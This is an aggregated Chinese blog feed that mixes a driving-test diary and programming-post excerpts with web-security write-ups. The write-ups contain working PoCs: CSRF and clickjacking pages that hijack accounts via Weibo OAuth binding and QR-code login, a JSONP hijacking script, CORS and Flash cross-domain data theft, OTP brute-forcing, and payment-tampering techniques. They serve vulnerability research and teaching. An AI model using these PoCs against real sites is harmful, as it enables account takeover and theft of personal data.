- 2018-12-16：换新教练，他觉得我手脚挺利索，于是帮我约了 2019 年 1 月 1 日的科目二，可我心里没底，觉得自己学实操类的技能挺慢的
- 2018-12-22：踩了一天的离合，脚掌好酸，腰背好痛。基本练熟了倒车入库
- 2018-12-23：基本把五个科目二项目练会了，我的动手能力也没想象中得那么差
- 2018-12-30：寒风吹，天黑黑，练了一天车，终于被我琢磨出一些门道了
- 2018-12-31：前往百旺科目二考场进行模拟考，一个小时 200 元
- 2019-01-01：幸运地抽到 5 号车道，缓冲时间是最长的。车辆代号 56，是路飞某件 T 恤上的号码，也是我的幸运号码：
科目二第一次考试
- 进入「倒车入库」考试区域
- 沿着边线摆正车身
- 前车轮压到控制线后，停车
- 方向盘向右打一圈加 45°
- 往前开 30 厘米
- 停车，挂倒档
……
我居然忘记 Step 5，导致「在倒车前，未将两个前轮触地点均驶过控制线（扣分代码 20104）」，直接扣 100 分。应了那句老话，万事开头难。
科目二第二次考试（当场补考）
- 倒车入库：OK
- 侧方停车：OK
- 曲线行驶：OK
- 直角转弯：OK
- 坡道定点停车和起步：OK
补考满分通过，但有一个小插曲：「直角转弯」过后，在前往「坡道定点停车和起步」过程中，我的右后轮卡在马路牙子上了（大约 20 厘米高）。幸好在「考试区域外」轻微倒车是不扣分，不然又挂了，真是有惊无险啊。
开始练习科目三
- 2019-01-04：教练发了 5 张东周科目三考场的线路图过来，让我每天画一次并拍照发给他检查
- 2019-01-13：独自骑共享单车来东周科目三考场踩点
- 2019-02-12：科目三第 1 次练车，学会如何换挡
- 2019-02-16：教练带我们某个相似的路段练车。练完之后，有信心多了
- 2019-02-19：科目三模拟考（模拟 2 条线要 ￥300）
- 2019-02-20：到达科目三东周考场，下了小雨之后，空气清新，天气晴朗
科目三道路驾驶技能考试，遇到的「拦路虎」如下：
- 被分配到最难的 ② 号线
- 作为排头车，前面没有可供参考的车辆
- 14 号考试车刹车没有声音提示
- 刚起步时腿会止不住地抖，过了两个路口就平复下来了
- 所幸满分一把过，可能是因为签到号是 15 的原因吧（我曾经的幸运号码）
科目三安全文明驾驶常识考试（俗称科目四）也是满分一把过。此前模拟了 23 次，累计答题 868 道，总体正确率 99%。
- 2019-02-22：【深圳交通】您已通过科目三考试
- 2019-02-23：收到中华人民共和国的《机动车驾驶证》，总耗时 281 天
最后，祝读者朋友们早日开着喜欢的车，听着喜欢的歌。
- 博客 Jiajun的编程随想 2018-05-17 08:00:00《High Performance MySQL阅读笔记》 - 第一层是连接处理，授权认证等方面...
- 博客 Jiajun的编程随想 2018-05-15 08:00:00《MySQL EXPLAIN中的filesort是什么？》- https://dev.mysql.com/doc/refman/5.7/en/order-by-optimization.html#order-by-filesort- https://www.percona.com/blog/2009/03/05/what-does-using-filesort-mean-in-mysql/- http://s.petrunia.net/blog/?p=24...
- 博客 Jiajun的编程随想 2018-05-13 08:00:00《数据库索引设计与优化》这是读完了 <高性能MySQL> , <数据库索引设计与优化> 和 MySQL Manual 之后的总结。本文的所有知识都是与MySQL相关的，其他数据库也许有不同...
- 博客 Jiajun的编程随想 2018-05-08 08:00:00《如何调试？》单步跟踪是最常见的调试方法，不过我用的极少，因为效率低。往往也不需要用到这个。接下来我写的几种常见的调试方式，主要针对Go和Python。按难度从容易到难，按效率从高到低...
- 博客 Vulkey_Chen's Blog 2018-05-05 00:00:00
前言
考验技能：黑盒逻辑思考思维
提示：http://gh0st.cn/archives/2018-04-18/1 （文中出现过这个思路）
题目链接：已经下线（密码重置）
一般来说，很多人应该先走一遍流程：
走流程
- 验证码发送
返回包：
- 验证码验证
错误返回：
流程分析
察言观色
如上是发送验证码请求对应的响应报文，从报文可以获取到如下的信息：
- 后端验证验证码的方式是基于SESSION会话ID的
- 验证码的形势是4位数纯数字
缺陷发现
四位数纯数字，爆破一下？可是问题来了~
错误三次之后就提示失效了验证码：
怎么办？这是一道考思维的题目，国内太多的逻辑漏洞的文章了，可是大多数人学习的是1:1的学习，不会变通。逻辑漏洞不仅仅存在于固有的业务逻辑上，还有代码逻辑~打开你的黑盒测试思维，任何点你都只能猜测，所以为什么不多猜猜？
文章中写过会有万能密码的存在：
测试下在这里并不存在，没有这样的缺陷，这时候你就需要考虑更多的东西，不要做个“表面性”测试的“白帽子”~
之前说了错误三次验证码会失效，但是否是真的失效了？假设没有失效只是“表面性”的输出失效呢？
思考后台代码逻辑，参考我提示中链接的文章：
在这里代入到密码重置这一环节是否有用呢？来测试下：
这里多了一线生机，因为提示了密码错误，而不是失效，那么是否能借助这个来绕过次数限制呢？
在这里你可以选择使用Python来帮助你，但我认为这完全没必要，因为BurpSuite解决了一切：
数据包发送到intruder模块，设置attack type为Pitchfork，设置好payload位置：
Pitchfork的工作模式是多组的，如上我设置了两个payload位置，使用这个模式需要两个payload的数量是一样的，发送的请求为A[1]对B[1]。
设置payload：
第一个为字符块（Character blocks）-这种类型的Payload是指使用一个给出的输入字符串，根据指定的设置产生指定大小的字符块，表现形式为生成指定长度的字符串。
第二个为数字（Numbers）-这种类型的Payload是指根据配置，生成一系列的数字作为Payload。
测试发现真实可用：
总结
黑盒测试的精华是什么？Fuzzing.
你现在掌握的思路归根到底都是Fuzzing的结晶。
在漏洞挖掘中打开你的思维，加油~
- 博客 Vulkey_Chen's Blog 2018-04-28 00:00:00
前言
这是一个理论上通杀很多大型企业网站的漏洞缺陷~
可能很多朋友点击来看见标题就觉得，
这家伙在吹牛逼了我倒要看看这货能怎么吹,CSRF之登陆我的账号能有啥玩意危害？先按奈住你心中不屑的情绪，听我慢慢道来~
通用业务功能分析
最近很喜欢挖一些通用漏洞（不是程序通用，而是功能通用），会经常拿着BAT三家以及其他一些大型网站进行业务功能点的对比，来看看有哪些是共用的功能点，这边列出以下的几条：
- QQ快捷登陆
- 微信快捷登陆
- 微博快捷登陆
- 其他……
OAuth2.0认证缺陷-快捷登陆账号劫持的问题具体可以参考：http://gh0st.cn/archives/2018-02-12/1 （来自i春秋社区）
这种问题其实需要一定的运气因为很多的快捷登陆有state参数的干扰，所以是完全没办法去利用的。
在这里我尝试能不能挖到一个新的缺陷，在走正常的快捷登陆流程时我发现需要绑定这个网站的账号才可以正常的使用用户的功能，这时候反着想网站的用户中心是否有第三方的账号绑定？
这里找了大部分的网站都有这样的功能（第三方账号绑定，绑定了即可使用第三方账号直接登陆），找到了这个功能点就可以来测试，先走一遍正常的绑定流程：
- 点击绑定第三方账号
- 进入第三方账号绑定页面
- （如果第三方账号是登陆状态）->需要点击授权按钮；(如果第三方账号是未登陆状态)->需要输入第三方的账号密码登陆->点击授权按钮
设立猜想
梳理了流程之后，一个很骚的思路就从脑子里蹦了出来：
有第三方账号绑定这个功能，登陆处也有第三方账号登陆功能，也就是说绑定第三方账号代表着权限分享给了第三方账号。
猜想建立->如果我有第三方账号所在网站的
CSRF之你登陆我的账号缺陷，让受害者先登陆我的第三方账号（为了避免损失，我可以注册一个小号），然后绑定处也有CSRF绑定的缺陷或者点击劫持问题，那么我就可以让受害者绑定我的第三方账号，然后根据我的第三方账号来登陆受害者的账号，劫持到其权限。
验证猜想
流程
个人中心有这个第三方的账号绑定：
在这里QQ、github、微博、微信四个第三方账号绑定中我有了微博的
CSRF之你登陆我的账号这个缺陷，所以这里测试下微博的第三方账号绑定。页面有微博账号绑定的跳转链接：
通过这个链接进入了绑定的界面（未登陆微博）：
通过这个链接进入了绑定的界面（已登陆微博）：
当我授权绑定之后，微博发生了变化，管理中心->我的应用->我的应用：
会多出这个网站在里面，那么这个变化是对我们有利的，还是？
这里我解绑了微博，然后再使用这个已经授权了的微博进行绑定，发现居然不用点击授权了，直接就绑定了。
很显然，在这里这个
便利解决了一些攻击的利用难度。实现
我们现在具备的几个条件：
- 微博的
CSRF之你登陆我的账号缺陷：
登陆你的微博，然后访问http://login.sina.com.cn/sso/crossdomain.php?action=login，会返回这样的内容给你：
其中arrURL对应的链接就是凭证登陆的~
- 你的微博已经授权过了要存在缺陷的网站(这里方便直接跳转而不用再去点击按钮！所以你可以先用自己的微博绑定下存在缺陷的网站的账号，然后解绑就行了~)
- 绑定请求存在csrf的缺陷（这里因为是GET请求类型
/oauth/weibo/redirect，而一般不会对GET请求类型进行CSRF的限制~~）
场景1.攻击步骤：
对方点开凭证链接登陆了你的微博，对方点开绑定微博的链接，绑定了你的微博，完成攻击。
考虑到凭证时效性的问题，在这里写了一个动态的PoC：
<?php //get weibo login token $curl = curl_init(); $cookie = "你微博的Cookie"; curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login'); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_COOKIE, $cookie); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); curl_close($curl); //echo $data; $t = preg_match('/ticket=(.*?)&sso/', $data, $res); $url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678"; ?> <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } </style> </head> <body> <div class="testframe"> <iframe id="test0" src="<?php echo $url;?>"></iframe> </div> <script> function loadsrc(){ document.getElementById("test0").src="https://gh0st.cn/oauth/weibo/redirect"; } setTimeout("loadsrc()",2000); </script> </body> </html>场景2.攻击步骤：
有些网站可能是post请求限制了referer或者根本没有跳转的请求而是直接进入了微博的绑定界面，因为state参数的原因导致根本无法以这个绑定页面为链接的形式去做攻击~
可能有很多朋友就有疑问了，为什么我老是提到state参数？这个参数是干什么用的呢？这里参考下微博的OAuth2.0接口的开发文档：
http://open.weibo.com/wiki/Oauth2/authorize
是防止CSRF的，也就是说在这里如果绑定的链接是如下这样子的：
没有state参数验证的，那么你可以直接以此作为绑定链接，覆盖场景1中PoC里面的这个链接:
https://gh0st.cn/oauth/weibo/redirect好了，说了那么多跟场景2没用的话，切入主题来说说场景2的情况到底该如何完成攻击？
很简单我们可以使用点击劫持来完成攻击，如下动态的PoC：
<?php //get weibo login token $curl = curl_init(); $cookie = "你微博的Cookie"; curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login'); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_COOKIE, $cookie); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); curl_close($curl); //echo $data; $t = preg_match('/ticket=(.*?)&sso/', $data, $res); $url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678"; ?> <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } .btn { position: fixed; width: 70px; height: 22px; left: 167px; right: 0; display:block; top: 295px; } </style> </head> <body> <div class="testframe"> <input type="button" class="btn" value="Click"> <iframe id="test0" src="<?php echo $url;?>"></iframe> </div> <script> function loadsrc(){ document.getElementById("test0").src="https://gh0st.cn/usercenter/ubind"; } setTimeout("loadsrc()",2000); </script> </body> </html>简单的说明下这个PoC的用处：
总结
可能把每一项单独的拎出来会发现这并没有缺陷，但是一旦参与到了业务逻辑中，就一定会存在一定的问题。
不要看不起一个看似没危害的漏洞甚至一个缺陷，因为你永远不知道它能发挥的巨大危害。
- 博客 Vulkey_Chen's Blog 2018-04-18 00:00:00
首先感谢朋友倾璇的邀请 http://payloads.online/archivers/2018-03-21/1 ，参与了
的相关撰写，目前负责业务逻辑测试这一块的撰写，目前初步已经成型，先发出来让大家看看，欢迎点评，也可以加入我们一起来撰写~ 业务逻辑测试
介绍：这里对Web应用业务逻辑方面的安全缺陷进行介绍和常见案例讲解。
任意用户密码重置
常见的缺陷
* 1.验证码类缺陷
-场景： 1.1 验证码回显在客户端(响应主体、Set-Cookie等等…)。
1.2 验证码过于简易时效性过长，接口未做限制(一般为纯数字4-8位数，时效性长达30分钟以上可以对验证码进行枚举)。
* 2.未校验权限/前端校验/越权
-场景： 2.1 任意手机号验证码都可重置任意账号。
2.2 修改响应包的主体(根据实际情况来修改 例如验证请求对应的响应报文的主体为
false你可以修改为true)。2.3 同一浏览器进入A用户的重置，然后关闭再进入B用户的重置 而实际上重置A用户。
2.4 修改重置密码的相关参数(例如 userid等等…)。
* 3.HOST头伪造
-场景： 3.1 在邮箱找回密码的时候，可以简单替换Host部分进行Fuzz，看看找回密码的链接中的域名是否是根据Host来生成的如果是可以替换成自己的域名。但是这种思路很鸡肋，因为需要用户的点击，这样才可以根据日志看到重置密码的链接，万一重置密码的链接时效性过去就无奈了。
* 4.找回密码的凭证脆弱
-场景： 4.1 见过最多的是找回密码的token是base64编码的，而解码后的明文根据其规则修改就可以成为别人用户找回密码的凭证了。
验证码绕过
常见的缺陷
图形类验证码绕过
* 1.图形验证码可复用
-场景： 3.1 验证码刷新之后，而历史刷新的验证码还是可以继续使用。
3.2 验证码使用过后不刷新，时效性不过期，可以一直复用。
* 2.图形验证码易识别
-场景 4.1 很多验证码的显示很简单，容易被机器识别。
短信类验证码绕过
* 1.验证码过于简易&接口未限制
-场景： 1.1 有些手机短信验证码都为 4-8位 纯数字的验证码，在接口没有任何限制的情况下是可以直接爆破的。
* 2.验证码发送复用&时效性过长&接口未限制
-场景： 2.1 6位数验证码时效性为5分钟，但是在这里同一手机号发送的验证码都是一样的，所以可以在4分钟的时候重新发送一次验证码这样验证码就又有效了，因为验证码一直在被复用，所以可以爆破。
* 3.万能验证码
-场景： 3.1 这是很多大企业的诟病，在未上线前为了方便测试加了
888888、000000这样的万能验证码但是上线后没去删除测试的内容导致被恶意利用。短信/语音验证码重放
无论是发送短信还是语音验证码来做验证，都是需要手机号的，而发送验证码实际上是需要成本的，需要跟运营商或者是第三方验证码平台进行合作，多数验证码为0.01元一条，当然也有更便宜的，所以这边的问题也会影响到一个企业的资产方面。
常见缺陷
* 1.无限制发送
-场景： 1.1 厂商对验证码发送这一块并没有进行限制时间发送
* 2.代码层逻辑校验问题
-场景： 2.1 很多厂商会对手机号进行限制，如果60秒内发送过就不会发送，但是程序员在设计代码层的逻辑时会出现很多奇葩的问题，例如其为了方便用户体验，正常的代码层的流程为：
a.去除用户手误输入的空格以及一些特殊符号b.验证手机号是否发送过验证码某些程序员会这样设计流程：
a.验证手机号是否发送过验证码（发送过则不放行 没发送过则进入下一步）b.去除用户手误输入的空格以及一些特殊符号c.发送手机号验证码* 3.手机号可遍历发送
-场景： 3.1 我之前有提到验证码发送会影响到企业资产，那么发送验证码限制就不能仅仅针对于单一手机号的限制，例如我可以载入一堆手机号的字典，然后直接遍历发送验证码，这也是危害之一。
业务流程绕过
常见缺陷
* 1.无验证步骤跳跃
-场景： 1.1 出现的场景很多：密码重置步骤、支付步骤，对于这种的测试方法有很多中：
a.对比法，使用A、B两个账号，A账号先正常走一遍流程，然后记录流程的请求报文跟响应报文，使用B账号来测试是否能绕过直接进入最后一步骤。
b.第六感，假设步骤1的网址为:
http://www.test.com/step1，这时候你可以凭借你的第六感修改下链接为/step2之类的来测试。加密算法脆弱
常见缺陷
* 1.前端呈现加密算法代码
-场景： 1.1 很多厂商算法写的很好，可没用，因为他用的是JS代码，在前端会直接能看见，而尝试跟踪JS的代码就会知道是怎么加密的从而可以直接绕过。
* 2.算法脆弱，明文可判断
-场景： 2.1 这是一个看运气的问题，一段密文为md5的，这时候你要做好自己的分析明文到底是什么，然后去碰撞，例如可能是md5(用户名+邮箱)这样的的组合。
支付逻辑漏洞
常见缺陷
* 1.金额修改
-场景： 1.1 支付的过程中有很多涉及金额的元素可以修改运费、优惠价、折扣等，可以修改为负数金额也可以修改金额为小于原金额的数进行测试，有时候会遇到
溢出，你修改金额为较大的数看你会出现只支付1元的情况。* 2.数量修改
-场景： 2.1 修改购买物品的数量为小数或者负数，同上，有时候会遇到
溢出，你修改数量为较大的数看你会出现只支付1元的情况。* 3.sign值可逆
-场景： 3.1 这是一个看运气的问题，sign多数为对比确认金额的一段内容，很多都是md5加密的，这时候你要做好自己的分析明文到底是什么，然后去碰撞，例如可能是md5(订单号+金额)这样的的组合，然后修改金额重新生成sign就可以绕过金额固定的限制了。
条件竞争(HTTP并发)
常见缺陷
* 1.条件竞争（HTTP并发）
-场景： 1.1 在签到、转账、兑换、购买等场景是最容易出现这样的问题，而并发测试的方法可以使用Fiddler也可以使用BurpSuite Intruder模块。
这里例举下Fiddler测试方法（BurpSuite测试很简单就不说明了）：
配置好代理，设置好拦截：
然后点击兑换、转账、签到等最后一步按钮的时候会抓到一个请求，右键这一请求然后按住Shift点击Replay->Reissue Requests：
填入要重发的次数：
一般为20即可，然后点击GO放行：
最后看你自己来判断是否存在并发的问题，例如签到，如果存在那么肯定是签到天数或者签到所获得的奖励会一下子有很多，也可以看Fiddler中的响应报文结果。
- 博客 Jiajun的编程随想 2018-04-14 08:00:00《Docker CE 18.03源码阅读与分析》Docker更新的速度太快了。网上很多分析已经过时了。今天我翻了一下Docker的源码，发现其实Docker的源码挺简单易懂的。当然前提是，你已经熟练掌握了Docker，经常用，知道有哪些概念，了解其原理。有了这些做基础，就很容易读了...
- 博客 Jiajun的编程随想 2018-04-12 08:00:00《容器时代的日志处理》> 这是对目前接触到的日志处理的一个总结## 日志收集...
- 博客 Jiajun的编程随想 2018-04-10 08:00:00《Golang和Thrift》Thrift是一款RPC协议+工具。我们团队选择了Thrift的主要原因是之前gRPC对gevent的支持不够好。目前虽然有支持，但是合并也还没有多久。而Thrift有饿了么搞的一套，相对来说好用一些...
- 博客 Vulkey_Chen's Blog 2018-04-08 00:00:00
二维码登陆的常见缺陷剖析
现在很多的电商平台和互联网型企业都有自己的手机APP，为了方便用户的体验，于是就有了”扫码登陆”这样的功能。看似扫码登陆，实际上还是基于HTTP请求来完成的。
了解扫码登陆步骤
标准的二维码登陆流程如下：
- 打开web界面进入登陆然后加载二维码
- 网站开始轮询，来检测二维码状态
- 打开手机APP进入”扫一扫”，扫描二维码
- 网站检测到二维码被扫描，进入被扫描后的界面，继续轮询来获取凭证
- 手机APP进入确认登陆界面
- (当点击确认登陆)网站轮询结束获取到了凭证，进入个人中心；(当取消登陆)网站轮询设定时间自动刷新页面。
常见缺陷剖析
0x00 非标准扫码登陆流程缺陷
非标准流程描述
扫描登陆的流程如果不按照标准来做也会存在很多问题，国内一些企业在处理这些的时候省略了如上所述的第五步骤和第六步骤，而是直接扫描后立即登陆。
分析非标准流程可能存在的问题
- 可进行1:1比例诱导扫描
二维码是一张图片而图片是可以移植的，所以我们可以1:1克隆一个登陆页面来诱导用户进行扫描，这样就可以直接获取用户的权限了。
因为保密协议的问题，这里不对漏洞详情进行描述，简单的使用文字进行叙述：
在测试这种问题的时候，只需要按照步骤去测试下即可发现是否有相对于的问题，我一般会使用浏览器ctrl+s快捷键先克隆下来，因为这样会自带css和js等文件，剩下的只需要你处理一下就行了，也可以参考我之前的文章：微信Netting-QRLJacking分析利用-扫我二维码获取你的账号权限，方法类似就行，但是这里的微信二维码登录是基于OAuth2.0协议的，所以当用户点击之后，我只要获取到授权凭证链接就行了，而一般的二维码登陆是不基于OAuth2.0协议的，就需要处理好你的交互问题。
0x01 QRLJacking-二维码登陆劫持
2017年OWASP推出了这种攻击方式：https://www.owasp.org/index.php/Qrljacking
因为OWASP上有详细的介绍，所以在这里我就不以实际案例来说明了。
补充的一点是在0x00中我已经说明了之前一篇文章微信Netting-QRLJacking分析利用-扫我二维码获取你的账号权限，在这里我称之为Netting-QRLJacking是因为我们可以使用钓鱼网站方式的方法进行大面积撒网~而其实这里是利用了OAuth2.0的一个流程特征，我们想进行二维码登录劫持的时候也可以利用”扫码登陆”的流程特征。
之前已经把”扫码登陆”的流程说的很清楚了，我们知道其中一步轮询是用户点击确认登陆之后就通过轮询这个接口可以直接获得凭证，利用这个特点就行了。
小提示：整个流程划分为一个一个的接口来测试，你会更清楚的。
0x02 CSRF跨站请求访问
之在0x01说了，把整个流程划分为一个个的接口来测试，你就会更清楚，其实潜台词就是“你会发现更多漏洞”~
以一个实际例子来讲解：
在测试一个站点的时候遇到的问题，其扫码登陆的流程全部为GET类型请求：
- 打开web界面进入登陆然后加载二维码（http://www.gh0stdemo.cn/getqrcode 返回一段uuid 二维码的链接为 http://www.gh0stdemo.cn/qrcode?code=qrcode）
- 网站开始轮询，来检测二维码状态（http://www.gh0stdemo.cn/getqrlstate?code=qrcode）
- 打开手机APP进入”扫一扫”，扫描二维码（http://www.gh0stdemo.cn/qrcode?code=qrcode）
- 网站检测到二维码被扫描，进入被扫描后的界面，继续轮询来获取凭证（http://www.gh0stdemo.cn/getqrlstate?code=qrcode）
- 手机APP进入确认登陆界面（这步骤必须需要经过第四步骤之后才可以 http://www.gh0stdemo.cn/putqrlstate?code=qrcode）
- (当点击确认登陆)网站轮询结束获取到了凭证，进入个人中心；(当取消登陆)网站轮询设定时间自动刷新页面。
在这里我们可以构建这样的PoC：
<!DOCTYPE html> <html> <head> <title>PoC</title> </head> <body> <script> function loadsrc(){ document.getElementById("test1").src="http://www.gh0stdemo.cn/qrcode?code=qrcode"; } setTimeout('loadsrc()',1000); </script> <iframe id="test1" src="http://www.gh0stdemo.cn/putqrlstate?code=qrcode"> </iframe> </body> </html>很简单的一个PoC就构成了，这里也确实存在CSRF的问题，可能在这里有人会想到攻击面得问题，仅仅只限于APP端？当然不，其实原理是一样得，都是把自己的凭证(Cookie)发出去，所以在电脑的web端只要登陆了一样可以完成攻击步骤~
当然在这里也有POST形式的CSRF，因为内容重复度过高就不一一举例了。
0x03 ClickJacking-点击劫持
点击劫持，视觉欺骗
根据扫码登陆的流程中我们可以看到有一个流程强制的要求了用户去点击确认登陆的按钮，但是这个界面往往没有做点击劫持的防范：
在我之前的一篇文章中详细讲了PoC的制作方法：http://gh0st.cn/archives/2017-12-20/1
之前跟一朋友在测试的时候发现了一些问题，有些网站用iframe标签引用进来，不会百分百的自适应，在这里我使用了div为父元素，如何再在div里面写入iframe这个子元素来自适应就行了。
<html> <head> <meta name="referrer" content="never"> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } .btn { position: fixed; width: 97%; height: 42px; margin: 0 auto; left: 0; right:0; display:block; top: 815px; } </style> </head> <body> <div class="testframe"> <input type="button" class="btn" value="Click"> <iframe src="http://www.gh0stdemo.cn/qrcode?code=qrcode"></iframe> </div> </body> </html>示例结果：
结尾
本文没详细的去写，仅仅记录笔者的实践过程和心得。
- 博客 Jiajun的编程随想 2018-04-05 08:00:00《折腾Kubernetes》## 安装哇，在国内安装k8s可就费劲了，因为你懂的网络的原因，各种镜像拉不下来。。。主要是参考以下资料自己...
- 博客 Jiajun的编程随想 2018-04-03 08:00:00《协程(coroutine)简介 - 什么是协程？》> 如果涉及到具体的操作系统和CPU等，则为 Linux/amd64## 程序内存布局...
- 博客 Jiajun的编程随想 2018-03-29 08:00:00《goroutine 切换的时候发生了什么？》## Goroutine怎么主动让出权力？https://golang.org/pkg/runtime/#Gosched...
- 博客 Vulkey_Chen's Blog 2018-03-22 00:00:00
前言
最近在挖洞，”实践出真知”这句话说的很对，在实际挖掘过程中我会思考很多东西，跟朋友一起准备做一份手册，忽然的想到了一些漏洞的定义和规范。 在大多数的人眼里CSRF可能仅仅是写入型的比如：修改个人资料、授权登陆等等功能场景的CSRF问题，同时对CSRF这类问题进行了危害等级划分，就像如上两个例子，可以划分为中危和高危。也许是因为交互式的漏洞并没有SQLi这种直接能利用的漏洞危害高，所以一些厂商对CSRF也并不重视。
步入正题，什么是读取型CSRF，这里我对如下的漏洞归纳进了读取型CSRF，因为这些漏洞的利用手法都跟CSRF是一样的：
- JSONP劫持
- Flash跨域劫持
- CORS跨域资源读取
…等等，当然还有Silverlight跨域这些了，不过这里只列举常见的三种来讲解。
读取型CSRF
接下以如上所说的三个漏洞案例来一个个分析。
JSONP劫持
漏洞案例
这里来看一条请求：
这条请求返回的结果中有手机号（这里我测试的账号没绑定手机），如果我们想要以CSRF交互式攻击的方式获取这个手机号该怎么办？
来看看这条请求有callback，而返回结果是不是类似Javascript中的函数？
Javascript原函数定义如下：
function funName(){}这里是缺少了函数定义的关键词
function和花括号的函数主体部分，只有函数名和函数传参，聪明人已经想到了，这不就相当于是自定义函数被引用了么，而中间那段传参就相当于是一个数组，所以我们可以先用JS自定义好这个函数，然后再引用这个请求，自然就可以获取到数据了。这时候我们可以来构建一下PoC：
<!-- 引用一段如上请求为JS --> <script>function jsonp2(data){alert(JSON.stringify(data));}</script> <script src="http://gh0st.cn/user/center?callback=jsonp2"></script>使用正常的账号(绑定过手机号)来测试下：
案例总结
其实通过这个例子，我们可以知道HTML标签
<script>在一定的情况下是可以跨域读取的。对此漏洞的修复有很多：
1.打乱响应主体内容
2.Referer等进行限制
…..等等
Flash跨域劫持
Flash跨域比较经典了，在做web目录资产整理的时候有时候会发现这样的文件 crossdomain.xml ，文件内容如果是如下的，那么就存在Flash跨域问题，如下内容的意思是支持所有域：
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>为什么会如此？具体流程是这样的：
gh0st.cn 有一个SWF文件，这个文件是想要获取 vulkey.cn 的 userinfo 的返回响应主体，SWF首先会看在 vulkey.cn 的服务器目录下有没有 crossdomain.xml 文件，如果没有就会访问不成功，如果有 crossdomain.xml ，则会看crossdomain.xml 文件的内容里面是否设置了允许 gh0st.cn 域访问，如果设置允许了，那么 gh0st.cn 的SWF文件就可以成功获取到内容。所以要使Flash可以跨域传输数据，其关键就是crossdomain.xml 文件。
当你发现 crossdomain.xml 文件的内容为我如上所示的内容，那么就是存在Flash跨域劫持的。
漏洞案例
在对一个厂商进行测试的时候正好发现了这样的文件：
在这里我需要做两件事：
1.找到一个能获取敏感信息的接口
2.构建PoC
在这里敏感的信息接口以个人中心为例子，PoC使用的是 https://github.com/nccgroup/CrossSiteContentHijacking/raw/master/ContentHijacking/objects/ContentHijacking.swf
案例总结
很简单的一个东西，但是用处却很大，其利用方法跟CSRF也是一样的，只需要修改下PoC就行。
修复方案同样也很简单，针对
<allow-access-from domain="*" />的domain进行调整即可。CORS跨域资源读取
漏洞案例
如上图中我在请求的时候加上了请求头
Origin: http://gh0st.cn，而对应的响应包中出现了Access-Control-Allow-Origin: http://gh0st.cn这个响应头其实就是访问控制允许，在这里是允许http://gh0st.cn的请求的，所以http://gh0st.cn是可以跨域读取此网址的内容的~在这里我介绍下Origin：Origin和Referer很相似，就是将当前的请求参数删除，仅剩下三元组（协议 主机 端口），标准的浏览器，会在每次请求中都带上Origin，至少在跨域操作时肯定携带（例如ajax的操作）。所以要测试是否存在CORS这个问题就可以参考我上面的操作手法了。
怎么利用呢？在这里我使用了github上的开源项目:https://github.com/nccgroup/CrossSiteContentHijacking，readme.md中有具体的说明，这里我就不一一讲解了，那么已经确认问题了，那就需要进一步的验证。
在这里我找到了一处接口，其响应主体内容是获取用户的真实姓名、身份证、手机号等内容：
/daren/author/query （要注意的是这个请求在抓取的时候是POST请求方式，但并没有请求正文，经过测试请求正文为任意内容即可）
响应报文正文内容：
这里CrossSiteContentHijacking项目我搭建在了本地(127.0.0.1) http://127.0.0.1/CrossSiteContentHijacking/ContentHijackingLoader.html
根据项目所说的操作去进行参数的配置，然后点击 Retrieve Contents 按钮：
测试如下，测试结果是可以跨域读取的：
案例总结
这个问题其实就是对Origin的验证没有控制好，对其进行加强即可。
结尾
结尾想说的东西其实也没什么了，总结了这些东西希望能帮助到各位~
- 博客 Jiajun的编程随想 2018-03-19 08:00:00《Prometheus 数据类型》> 写博客记一下，老是忘记- Counter: 适用于只增不减的数值，例如请求数，错误数...
- 博客 Jiajun的编程随想 2018-03-16 08:00:00《Gin源码阅读与分析》> 很典型的一个web框架先看简单的demo...
- 博客 庭说 2018-03-13 00:00:00
发表异议观点，可能有相关人员暗下谈话劝阻，因为此过程中会喝茶（请人谈话或做客，一般会沏茶），因此成为被中共相关机构调查或拘留的代称。by 维基百科
「喝茶」还有另一种隐晦的解释：
一种通过饮用茶叶饮品而与历史进行深度沟通，对文化进行传承，对灵魂进行洗涤与升华的仪式。by 小鸡词典
本文于 2018 年 3 月 13 日首发在庭说的长篇 日志 里，今稍作润色，独立成文，以飨（xiǎng）读者。
转发评论
24 岁的第 2 天中午，又是一个仓促的午觉。醒来不愿去上班，于是拿起手机，刷刷微信。突然，我又被拉进一个 24 人的「xx 男生群」，虽然反复退群，因为我很讨厌里面某些人无休无止的抱怨。微信就不能让用户有拒绝入群的权利吗？
